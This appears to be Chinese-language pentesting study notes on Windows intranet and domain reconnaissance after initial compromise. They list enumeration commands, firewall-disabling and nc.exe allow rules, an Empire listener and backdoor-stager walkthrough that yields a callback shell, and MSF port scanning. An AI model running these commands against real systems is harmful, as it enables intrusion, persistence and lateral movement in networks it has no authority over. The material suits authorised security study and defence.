内网渗透-信息收集
做成思维导图了:../attachment/uploads/2021/10/内网信息收集.pdf
收集本机信息
手动信息收集
本机信息包括操作系统,权限,内网IP段地址,杀毒软件,端口,服务,补丁更新频率,网络连接,共享,会话。如果是域内主机,操作系统 应用软件 补丁 服务 杀毒软件一般都是批量安装的 1.查询网络配置信息
ipconfig /all
2.查询操作系统及软件信息 查询操作系统和版本信息
systeminfo findstr /B /C:”OS Name” /C:”OS Version”
如果是中文版系统
systeminfo findstr /B /C:”OS 名称” /C:”OS 版本”
查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
查看安装的软件及版本,路径等 利用wmic命令
wmic product get name,version
利用powershell命令
powershell “Get-WmiObject -class Win32_Product Select-Object -property name,version”
3.查询本机服务信息
wmic service list brief
4.查看进程列表
查看当前进程
tasklist
查看进程信息
wmic process list brief
5.查看启动程序信息
wmic startup get command,caption
6.查看计划任务
schtasks /query /fo LIST /v
7.查看主机的开机时间
net statistics workstation
8.查询用户列表 通过分析本机用户列表,可以找出内网机器的命名规则。特别是个人机器的名称,可以用来推测整个域的用户命名方式
net user
获取本地管理员(通常包含域用户)信息
net localgroup administrators
查看当前在线用户
query user qwinsta
9.列出或断开本地计算机与所连接的客户端之间的会话
net seession
10.查看端口列表
netstat -ano
11.查看补丁列表 可以通过查看补丁列表找出未打补丁的漏洞
systeminfo
通过wmic命令查看安装在系统中的补丁
wmic qfe get Caption,Description,HotFixId,InstalledOn
12.查询本机共享列表
net share
利用wmic命令查找共享列表
wmic share get name,path,status
13.查看路由表及所有可用接口的ARP缓存
route print
arp -a
14.查看防火墙配置
- 关闭防火墙 windows server 2003及以前的版本 之后的版本
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off
- 查看防火墙配置
netsh firewall show config
- 修改防火墙配置 windows server 2003及之前的版本,允许指定程序全部连接 之后的版本 允许指定程序进入
netsh firewall add allowerdprogram c:\nc.exe "allow nc" enable
允许指定程序退出netsh advfirewall add rule name="pass nc" dir=in action=allow
允许3389端口放行netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="c:\nc.exe"
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
- 自定义防火墙日志的存储位置 15.查询并开启远程连接服务
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
- 查看远程连接端口 在命令行环境中执行注册表查询语句,命令如下。连接的端口为0xd3d,转换后为3389.
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
自动收集信息
WMIC脚本
wmic脚本通过执行wmic命令将收集到的信息放到html里边
Empire下的主机信息收集
Empire是针对Windows系统的后渗透神器,包括了从stager生成、提权到渗透维持的一系列功能。
官网:http://www.powershellempire.com/
简单使用过程:
启动:./empire 查看已有监听器:listeners 删掉之前所有创建的监听器:kill all 查看已有Agents并删除:agents、remove all 使用http监听器:uselistener http 查看、设置对应选项并执行监听器:info、set Port 8080、set Host kali[ip]:8080、set Name hack、info、execute 使用usestager来生成后门:back、usestager windows/launcher_bat 查看、设置对应监听器选项并执行生成后门文件:info、set Listener hack、info、execute 生成的后门文件在/tmp目录下,拿到目标机子执行后可以取得连接shell Agents交互回连:agents、interact xxx Empire提供了用于收集主机信息的模块。输入如下命令即可查看本机用户、域组成员、密码设置时间、剪贴板内容、系统基本信息、网络适配器信息、共享信息等:
usemodule powershell/situational_awareness/host/winenum
此外,powershell/situational_awareness/host/computerdetails模块几乎包含了系统中所有有用的信息,比如目标主机事件日志、应用程序控制策略日志,包括RDP登录信息、PowerShell脚本运行和保存的信息等。注意,该模块需要管理员权限运行。
查看当前权限
1.查看当前权限
whoami
2.获取域的SID
whoami /all
3.查询指定用户的详细信息
net user XXX /domain 输入该命令可以看到当前用户在本地组中有没有本地管理员权限,属于哪个域等。
判断是否存在域
1.使用ipconfig命令 查看网关IP地址,DNS的IP地址,域名,本机是否和DNS服务器处在同一网段等信息
ipconfig /all
通过nslookup解析域名的IP地址
2.查看系统详细信息 下边命令的执行结果中 “域”即域名,”登陆服务器”为域控制器。如果“域”为“WORKGROUP”,表示当前服务器不在域内
systeminfo
3.查询当前登陆域及登陆用户信息
net config workstation
“工作站域DNS名称”为域名(如果为“WORKGROUP”,表示当前为非域环境),“登录域”用于表示当前登录的用户是与用户还是本地用户
4.判断主域
net time /domain
出现“发生系统错误”则表示存在域,但是当前用户不是域用户 出现当前时间 则表示存在域 出现“找不到域的域控制器”则表示为工作组,不存在域
探测内网存活主机
利用ICMP协议
for /L %I in (1,1,254) Do @ping -w l -n 1 192.168.1.%I findstr "TTL="
通过arp扫描
- arp-scan工具
arp.exe -t 192.168.2.0/24
- Empire中的arpscan模块
- NIshang 中的invoke-Arpscan.ps1脚本
通过常规TCP/UDP端口扫描探测内网
Scanline是一款经典的端口扫描工具,可以在所有版本的windows操作系统中使用,体积小,同时支持TCp/UDP端口扫描
扫描域内端口
利用telnet连接
S扫描器
适合在windwos server2003以下的版本的操作系统中
MSF中的portscan模块
msf>use auxiliary/scanner/portscan/tcp
msf>set ports 1-65535
msf>set RHOSTS 192.168.1.1
msf>set THREADS 10
msf>run
PowerSploit的Invoke-portscan.ps1脚本
收集域内基础信息
1.查看域
net view /domain
2.查看域内所有计算机
net view /domain:HACKe
3.查看域内所有用户组列表
net group /domain
Domain Admins:域管理员组 Domain Computers:域内机器 Domain Controllers:域控制器 Domain Guest:域访客,权限较低 Domain Users:域用户 Enterprise Admins:企业系统管理员用户 在默认情况下,Domain Admins和Enterprise Admins对域内所有域控制器有完全控制权限
4.查询域成员计算机列表
net group "domain computers" /domain
5.获取域密码信息 获取域密码策略,密码长度,错误锁定
net account /domain
6.获取域信任信息
nltsh /domain_trusts
查找域控制器
1.查看域控制器的机器名
nltest /DCLIST:hacke
2.查看域控制器的主机名
Nslookup -type=SRV _ldap._tcp
3.查看当前时间
net time /domain
4.查看域控制器组
net group "Domain Controllers" /domain
获取域内的用户和管理员信息
查询所有域用户列表
1.向域控制器进行查询
net user /domain
2.获取域内用户的详细信息
wmic useraccount get /all
3.查看存在的用户
dsquery user
4.查询本地管理员组用户
net localgroup administrators
查询域管理员用户组
1.查询域管理员用户
net group "domain admins" /domain
2.查询管理员用户组
net group "Enterprise Admins" /domain
定位域管理员
定位域管理员的工具
1.psloggedon.exe 2.PVEFindADUser.exe 3.netview.exe 4.net group “Domain Admins” /domain 5.BloodHound
查找域管理进程
本机检查
1.获取域管理员列表
net group "Domain Admins" /domain
2.列出本机的所有进程及进程用户
tasklist /v
3.寻找进程所有者为域管理员的进程